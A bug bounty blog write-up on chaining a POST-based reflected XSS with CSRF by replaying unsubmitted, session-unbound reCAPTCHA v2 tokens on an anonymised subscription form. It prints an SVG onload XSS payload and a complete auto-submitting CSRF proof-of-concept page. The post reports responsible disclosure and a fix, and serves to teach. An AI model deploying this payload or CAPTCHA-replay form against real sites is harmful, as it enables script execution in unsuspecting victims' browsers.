BOOK THIS SPACE FOR AD
ARTICLE ADHi, I am Tino, and I welcome you to my blog. If this is your first time here (you’ve really missed out), I am a pentester and your AppSec guy. Years ago, during my Offsec journey, I made some blog posts about Windows Privilege Escalation and Linux Privilege Escalation. I essentially went off the grid and delved into Application Security during this period. I was hacking on a program on HackerOne and came across an interesting bug that I felt I should share.
This vulnerability happens to be an XSS that I discovered in a Subscription form on the application except, this can only be exploited via a POST request. POST-based XSS when not chained with CSRF to show impact becomes a Self XSS. That wouldn’t have been a problem except there was Google reCAPTCHAv2 implemented on this form. This post explores how I bypassed the CAPTCHA to achieve a successful CSRF.
For anonymity's sake, let’s say the target website was https://www.target.com. When you visit target.com, there is a Sign Up and Login Form but what caught my eye was a subscribe button that takes you to https://www.target.com/subscribe. Over there you are presented with a form.
Upon submitting the form, we get a thank you message with our First name (John) reflected.
Confirming XSS Vulnerability
We can test for reflected XSS in this field using the payload:
"><svg/onload=confirm(document.domain)>When we submit the form, the payload executes. Now we have confirmed the vulnerability exists, the problem now is, it’s in a POST and without CSRF, it becomes a Self XSS.
Confirming CSRF Vulnerability
CAPTCHA when not implemented robustly doesn’t protect applications from CSRF, it is mainly there to provide some form of Rate Limiting. The CAPTCHA when solved is contained in 3 dynamic parameters:captcha_sid, captcha_token and g_recaptcha_response. Dynamic in the sense that thier values change for every CAPTCHA you solve. To craft a perfect CSRF form, we need to be able to pass valid values to these parameters.
So, what if I solve a CAPTCHA in a different browser, but I don’t submit it to the server, instead I replay those answers in the CSRF Form. I opened the form page in a private tab, then filled the form. Then I solved the CAPTCHA. I turned ON the Intercept in Burpsuite and clicked on submit. With the request intercepted, I copied the CAPTCHA parameter values and inserted them into my CSRF PoC Form.
<html><body>
<h1>CSRF PoC</h1>
<form action="https://www.target.com/subscribe" method="POST">
<input type="hidden" name="name_first" value="'><svg/onload=confirm(document.domain)>" />
<input type="hidden" name="name_last" value="Doe" />
<input type="hidden" name="email_address" value="test@fake.com" />
<input type="hidden" name="company_name" value="FakeCompany" />
<input type="hidden" name="captcha_sid" value="INSERT-HERE" />
<input type="hidden" name="captcha_token" value="INSERT-HERE" />
<input type="hidden" name="captcha_response" value="Google no captcha" />
<input type="hidden" name="g-recaptcha-response" value="INSERT-HERE" />
<input type="hidden" name="captcha_cacheable" value="1" />
<input type="hidden" name="op" value="Submit" />
<input type="hidden" name="form_build_id" value="form-Vwtw-XX&" />
<input type="hidden" name="form_id" value="XX_subscribe_sign_up_form" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
What’s left to do is to host this CSRF PoC Form for your victim to visit. Upon visiting your malicious site, they get redirected to https://www.target.com/subscribe and the subscription form is automatically submitted without any interaction from them, and the JavaScript is executed in their browser.
In summary, the CAPTCHA is not tied to a user’s session so answers from different users CAPTCHA which haven’t been submitted yet can be replayed in our attack.
Submitted this finding to their security team and they triaged and fixed it immediately. That’s all for today folks, see you in the next one.
If you have any questions, you can DM me on Twitter @tinopreter. Connect with me on LinkedIn Clement Osei-Somuah.